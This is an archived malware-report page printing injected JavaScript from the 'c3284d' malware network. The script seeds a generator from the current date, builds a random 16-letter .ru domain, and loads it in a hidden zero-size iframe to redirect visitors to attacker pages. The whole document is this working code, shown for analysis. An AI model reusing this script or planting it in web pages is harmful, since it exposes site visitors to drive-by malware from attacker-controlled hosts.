The #c3284d# Malware Network - Stats.php
By Kimberly
Archived: 2026-04-05 13:08:35 UTC
00. function nextRandomNumber(){
01.var hi = this .seed / this .Q;
02.var lo = this .seed % this .Q;
03.var test = this .A * lo - this .R * hi;
04.if (test > 0){
05.this .seed = test;
06.}
07.else {
08.this .seed = test + this .M;
09.}
10.return ( this .seed * this .oneOverM);
11. }
12. function RandomNumberGenerator(unix){
13.var d = new Date(unix * 1000);
14.var s = Math.ceil(d.getHours() / 3);
15.this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) +
(Math.round(s * 0xFFF));
16.this .A = 48271;
17.this .M = 2147483647;
18.this .Q = this .M / this .A;
19.this .R = this .M % this .A;
20.this .oneOverM = 1.0 / this .M;
https://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php/pseudo-random-domains.html
Page 1 of 3

21.
this .next = nextRandomNumber;
22.return this ;
23. }
24. function createRandomNumber(r, Min, Max){
25.return Math.round((Max - Min) * r.next() + Min);
26. }
27. function generatePseudoRandomString(unix, length, zone){
28.var rand = new RandomNumberGenerator(unix);
29.var letters = "buaxoqeriqwkgfkdyenzossqlxfqayvpr" .split( '' );
30.var str = '' ;
31.for ( var i = 0; i < length; i ++ ){
32.str += letters[createRandomNumber(rand, 0, letters.length - 1)];
33.}
34.return str + '.' + zone;
35. }
36. setInterval( function (){
37.try {
38.if ( typeof iframeWasCreated == "undefined" ){
39.var unix = Math.round( + new Date() / 1000);
40.var domainName = generatePseudoRandomString(unix, 16, 'ru' );
41.ifrm = document.createElement( "IFRAME" );
42.ifrm.setAttribute( "src" , "http://" + domainName + "/in.cgi?15" );
43.ifrm.style.width = "0px" ;
44.ifrm.style.height = "0px" ;
45.ifrm.style.visibility = "hidden" ;
46.document.body.appendChild(ifrm);
https://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php/pseudo-random-domains.html
Page 2 of 3

47.
iframeWasCreated = true ;
48.}
49.}
50.catch (e){
51.iframeWasCreated = undefined;
52.}
53. }
54. , 100);
Source: https://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php/pseudo-random-domains.html
https://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php/pseudo-random-domains.html
Page 3 of 3